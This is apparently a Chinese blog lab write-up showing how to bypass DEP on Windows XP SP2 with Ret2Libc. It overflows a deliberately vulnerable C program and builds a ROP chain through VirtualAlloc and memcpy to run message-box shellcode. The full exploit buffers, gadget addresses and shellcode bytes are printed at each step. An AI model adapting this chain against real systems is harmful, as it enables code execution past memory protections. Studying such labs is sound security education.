9.4 RetLibc实战之利用VirtualAlloc

本文详细介绍了如何通过利用VirtualAlloc函数申请可执行内存空间,结合shellcode,绕过DEP(数据执行保护)的技术。实验中,首先找到VirtualAlloc函数地址,然后构造shellcode申请内存,接着修复EBP并复制shellcode到新内存,最后执行shellcode。整个过程涉及到内存管理、函数调用和代码注入等技术。
摘要由CSDN通过智能技术生成

目录

一、实验原理

二、实验环境

三、实验代码

四、实验步骤

1、找到VirtualAlloc函数

2、申请可执行内存空间

3、将shellcode复制到可执行内存空间

4、执行shellcode


一、实验原理

        为了解决DEP对特殊程序的影响,除了VirtualProtect函数,微软还提供了另一个API函数——VirtualAllloc。当程序需要一段可执行内存时,可以通过kernel32.dll中的VirtualAlloc函数来申请一段具有可执行属性的内存。我们可以将Ret2Libc的第一跳设置为VirtualAlloc函数地址,然后将shellcode复制到申请的内存空间,以绕过DEP的限制。
        关于VirtualAlloc函数:
LPVOID WINAPI VirtualAlloc( 
 __in_opt LPVOID lpAddress,     //申请内存区域的地址
 __in SIZE_T dwSize,            //申请内存区域的大小
 __in DWORD flAllocationType,   //申请内存的类型
 __in DWORD flProtect           //申请内存的访问控制类型
);

        内存申请成功时,函数返回申请内存的起始地址,申请失败时返回NULL。

        VirtualAlloc函数的执行流程:

        关键参数取值如下:

        (1)lpAddress=0x00030000,只要选择一个未被占用的地址即可,没有什么特殊要求;

        (2)dwSize-0xFF,申请空间的大小可以根据shellcode的长度确定;

        (3)flAllocationType=0x00001000,本实验采用该值即可;

        (4)flProtect=0x00000040,内存属性设置为可读可写可执行,该属性对应的代码为0x00000040。

        由此可以看出,本次实验不需要动态设计参数。

二、实验环境

        windows xp sp2、原版OD、DEP状态:Optout、VC++6.0(release)

三、实验代码

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\xBA\xD9\xBB\x7C"//修正EBP retn 4
"\xBC\x45\x82\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x8A\x17\x84\x7C"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x0B\x1A\xBF\x7C"//pop pop retn
"\xBA\xD9\xBB\x7C"//修正EBP retn4
"\x5F\x78\xA6\x7C"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,拷贝用
"\xBF\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xAC\xAF\x94\x7C"//memcpy
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x00\x03\x00"//一个可以读地址
"\x00\x90\x90\x94"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	__asm int 3
	test();
    return 0;
}

        实验思路及代码简要解释:

        (1)本次实验不采用GS和SafeSEH;

        (2)函数test存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖函数返回地址;

        (3)覆盖掉函数返回地址后,通过Ret2Libc技术,利用VirtualAlloc函数申请一段具有执行权限的内存;

        (4)通过memcpy函数将shellcode复制到VirtualAlloc函数申请的可执行内存空间中。

四、实验步骤

1、找到VirtualAlloc函数

        可知,本机VirtualAlloc()函数的地址为0x7C809AE1。直接选择0x7C809AF4(call VirtualAllocEx)作为切入点。

2、申请可执行内存空间

        由于EBP在溢出过程中被破坏,所以第一步依然是修复EBP,我们用PUSH ESP POP EBP RETN 4指令覆盖test函数的返回地址;

        在内存中找一条PUSH ESP POP EBP RETN 4指令,这里选0x5D1D8B85。

        然后按照VirtualAlloc函数的参数布置一个能够申请可执行内存空间的shellcode,shellcode如下所示:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
;

        编译并运行OD,运行到即将进入VIrtualAllochan函数的地方,注意参数在栈帧中的位置;

        执行完VirtualAlloc函数;

        可以看到申请可执行内存空间成功。

3、将shellcode复制到可执行内存空间

        确定memcpy()函数在内存中的地址,memcpy函数位于ntdll.dll:

        可知memcpy在0x7C921DB3处。memcpy函数的切入点为0x7C921DB8处。

        memcpy函数需要三个参数,依次为目的内存起始地址、源内存起始地址、复制长度,其中目的内存起始地址和复制长度都可以直接写在shellcode中,唯一需要确定的就是源内存起始地址的确定。

        具体做法:保证源内存起始地址在shellcode中关键代码的前边即可,因此可以使用PUSH ESP JMP EAX来填充这个参数。将ESP中保存的数据放到memcpy函数的源内存地址这一参数的地方,因为此时ESP的指向一定在shellcode之前,所以就可以保证将shellcode复制到可执行区域。

        执行完RETN 10之后,EIP将指向POP EAX RETN,ESP将指向0x0012FEDC处,而0x0012FEDC处就是放一条让EAX指向的特殊指令。暂时不讨论这一指令是什么。

        找一条POP EAX RETN指令:

        这里用0x7DCED974处的POP EAX RETN。    

另外,需要注意:此时EBP已经被覆盖,所以需要二次修复。

        大致构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"//eax指向先不确定
"\x85\x8B\x1D\x5D"//修正EBP retn 4

        重新编译程序,程序停在修正EBP的位置,查看内存状态:

        注意到:EBP+8、EBP+C、EBP+10保存着memcpy的三个参数。我们现在要改变EBP+C的值,也就是让ESP指向0x0012FEF0,再用PUSH RETN就可修改源内存地址这一参数了。

        可以看到各个参数的入栈顺序,已经对应的入栈指令。

        程序指向retn 4之后,ESP将会指向0x0012FEEC处,所以在Ox0012FEE4处放一个POP RETN指令。这样ESP就可以指向EBP+10处了,再执行push指令,就可以修改源内存地址这一参数了。

        找一个POP RETN指令:

        选择0x7DC2BD78处的POP ECX RETN指令。

        在执行完PUSH操作后,收回控制程序的最佳位置在EBX+0x14,即0x0012FEF8处,在这里执行RETN指令既不会破坏memcpy函数的参数,也可以减少shellcode的长度。

        执行PUSH操作后,ESP指向0x0012FEF0处,只需要POP两次,就可以使得ESP指向EBP+0x14的位置,所以JMP EAX中的EAX应该指向类似POP POP RETN的指令序列。然后再EBP+0x14处放置memcpy函数的切入点0x7C921DB3,这样程序就可以转入memcpy函数中执行复制操作了。

        找一条POP POP RETN指令:

        选择0x7D713C4E处的POP POP RETN指令序列。

        PUSH ESP JMP EAX:

        地址:0x77EBC6C6

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x90\x90\x90\x90"
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy

        可以看到复制操作的源内存起始地址为0x0012FEF4,这个位置也是memcpy函数的复制长度参数所在位置,所以只要在它后边放置对话框的机器码即可。

4、执行shellcode

        构造shellcode:

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\xF4\x9A\x80\x7C"//申请空间
"\x90\x90\x90\x90"
"\xFF\xFF\xFF\xFF"//-1当前进程
"\x00\x00\x03\x00"//申请空间起始地址
"\xFF\x00\x00\x00"//申请空间大小
"\x00\x10\x00\x00"//申请类型
"\x40\x00\x00\x00"//申请空间访问类型
"\x90\x90\x90\x90"
"\x74\xD9\xCE\x7D"//pop eax retn
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x4E\x3C\x71\x7D"//eax指向POP POP RETN
"\x85\x8B\x1D\x5D"//修正EBP retn 4
"\x78\xBD\xC2\x7D"//pop retn
"\x00\x00\x03\x00"//可执行内存空间地址,转入执行用
"\x00\x00\x03\x00"//可执行内存空间地址,memcpy参数
"\xC6\xC6\xEB\x77"//push esp jmp eax && 原始shellcode起始地址
"\xFF\x00\x00\x00"//shellcode长度
"\xB8\x1D\x92\x7C"//memcpy
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

         编译运行,发现虽然复制操作会把一些额外的代码复制过去,但是不影响弹窗,故没深究,直接弹窗了。

 

 

 
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值